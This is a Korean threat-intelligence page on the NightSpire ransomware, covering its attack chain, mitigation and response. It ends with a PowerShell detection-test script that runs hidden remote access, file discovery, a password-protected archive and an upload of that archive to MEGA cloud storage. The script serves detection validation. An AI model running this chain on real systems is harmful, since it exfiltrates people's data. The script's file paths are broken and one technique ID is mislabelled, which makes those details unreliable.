SOC Prime Bias: 높음

25 May 2026 16:25 UTC

NightSpire 랜섬웨어 공격 체인, 도구 및 전술

Author Photo
SOC Prime Team linkedin icon 팔로우
NightSpire 랜섬웨어 공격 체인, 도구 및 전술
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

NightSpire는 2025년 초 처음 관찰된 Go 기반 랜섬웨어 패밀리로, 암호화 전에 데이터를 탈취하고 Tor 기반 유출 사이트에 게시할 것을 위협하는 이중 갈취 모델을 사용합니다. 이 랜섬웨어는 암호화된 파일에 .nspire 확장자를 추가하고 OneDrive에 연결된 폴더를 포함하여 각 영향을 받은 디렉토리에 몸값 메모를 배치합니다. 운영자는 정품 원격 관리 도구를 사용하여 액세스를 유지하고 공개적으로 사용 가능한 유틸리티를 사용하여 발견, 아카이브 생성 및 탈취를 수행합니다. 2025년 3월에서 6월 사이에 이 캠페인은 33개국에 걸쳐 최소 64개 조직에 영향을 미쳤습니다.

조사

조사는 공격자가 주로 노출된 RDP를 통해 초기 액세스를 얻고 Chrome Remote Desktop과 AnyDesk를 지속적인 서비스로 설치했음을 보여주었습니다. 그들은 파일을 빠르게 찾기 위해 Everything을 사용하고, 암호로 보호된 아카이브를 만들기 위해 7-Zip을 사용했으며, 도난당한 데이터를 MEGA 클라우드 저장소에 업로드하기 위해 MEGAsync를 사용했습니다. Go 기반 암호화기는 conhost.exe에서 실행되었으며, 사용 가능한 모든 드라이브를 열거하고 파일을 암호화하면서 OneDrive 파일 이름은 그대로 두었습니다. 갈취 단계는 탈취 후 피해자를 압박하기 위해 사용된 Tor에 호스팅된 유출 사이트에 의존했습니다.

완화

조직은 직접적인 RDP 노출을 줄이거나 제거하고, 서비스로 배포된 예기치 않은 정품 원격 관리 도구를 모니터링하며, Chrome Remote Desktop과 AnyDesk와 같은 바이너리에 대해 애플리케이션 허용 목록을 적용해야 합니다. 행동 감지는 대량 파일 열거, 아카이브 생성 및 클라우드 저장소 서비스에 대한 비정상적인 업로드에 중점을 둬야 합니다. 정기적인 백업과 검증된 복구 절차는 필수이며, 네트워크 제어는 알려진 MEGA 업로드 엔드포인트를 차단해야 합니다. 방어는 Picus와 같은 통제된 랜섬웨어 시뮬레이션 연습을 통해 검증될 수 있습니다.

대응

NightSpire 활동이 감지되면 즉시 영향을 받은 엔드포인트를 격리하고 암호화 프로세스를 종료하고 분석을 위한 휘발성 메모리를 수집해야 합니다. 악성 서비스를 비활성화하고 남아있는 원격 액세스 도구를 제거하며 관련 네트워크 통신을 차단하십시오. 복구는 신뢰할 수 있는 백업에서 진행해야 하며, 관련 이해관계자에게 알림을 전달해야 합니다. 또한 법 집행 기관에 사건을 보고하여야 하며, 방어자는 게시된 데이터 징후를 위해 관련 Tor 유출 사이트를 계속 모니터링해야 합니다.

공격 흐름

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

  • Attack Narrative & Commands:

    1. Persistence Setup (T1547 / T1219): Install Chrome Remote Desktop (default path) and start its service to obtain persistent remote control.
    2. Discovery (T1083): Use Everything.exe to enumerate all files on the C: drive, saving the output to a temporary list.
    3. Archiving (T1037 / T1083): Invoke 7‑Zip to compress the discovered files into a password‑protected archive.
    4. Exfiltration (T1219.003): Launch MEGAsync to upload the archive to a MEGA account.

    The sequence ensures that selection_remote_access (Chrome Remote Desktop) is active while at least one of selection_discovery, selection_archive, or selection_exfiltration occurs, satisfying the rule’s condition.

  • Regression Test Script:

    # -------------------------------------------------------------------------
    # NightSpire Lateral Persistence & Exfiltration Simulation
    # -------------------------------------------------------------------------
    # Prerequisites:
    #   - Chrome Remote Desktop installed at default path
    #   - Everything.exe installed at default path
    #   - 7z.exe installed at default path
    #   - MEGAsync installed at default user profile path
    # -------------------------------------------------------------------------
    
    # 1. Ensure Chrome Remote Desktop service is running (simulates persistence)
    $crdPath = "$Env:ProgramFiles(x86)GoogleChrome Remote Desktop147.0.7727.3remoting_host.exe"
    if (Test-Path $crdPath) {
        Start-Process -FilePath $crdPath -ArgumentList "--start-service" -WindowStyle Hidden
        Write-Host "Chrome Remote Desktop service started."
    } else {
        Write-Error "Chrome Remote Desktop not found at $crdPath"
        exit 1
    }
    
    # 2. File discovery with Everything
    $everythingPath = "$Env:ProgramFilesEverythingEverything.exe"
    $discoveryOutput = "$env:TEMPfilelist.txt"
    if (Test-Path $everythingPath) {
        & $everythingPath -search "C:" -output $discoveryOutput
        Write-Host "Discovery completed, results saved to $discoveryOutput"
    } else {
        Write-Error "Everything.exe not found at $everythingPath"
        exit 1
    }
    
    # 3. Archive the discovered files with 7‑Zip
    $sevenZipPath = "$Env:ProgramFiles7-Zip7z.exe"
    $archivePath   = "$env:TEMPexfil_archive.zip"
    if (Test-Path $sevenZipPath) {
        & $sevenZipPath a -tzip $archivePath "@$discoveryOutput" -p"StrongP@ssw0rd!"
        Write-Host "Archive created at $archivePath"
    } else {
        Write-Error "7z.exe not found at $sevenZipPath"
        exit 1
    }
    
    # 4. Upload archive via MEGAsync (exfiltration)
    $megaPath = "$Env:LOCALAPPDATAMEGAsyncMEGAsync.exe"
    if (Test-Path $megaPath) {
        & $megaPath --upload $archivePath
        Write-Host "Upload initiated via MEGAsync."
    } else {
        Write-Error "MEGAsync.exe not found at $megaPath"
        exit 1
    }
    
    # End of simulation
  • Cleanup Commands:

    # Stop Chrome Remote Desktop service
    Stop-Process -Name "remoting_host" -Force -ErrorAction SilentlyContinue
    
    # Remove temporary files
    Remove-Item -Path "$env:TEMPfilelist.txt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPexfil_archive.zip" -Force -ErrorAction SilentlyContinue
    
    # Optionally stop MEGAsync if running
    Stop-Process -Name "MEGAsync" -Force -ErrorAction SilentlyContinue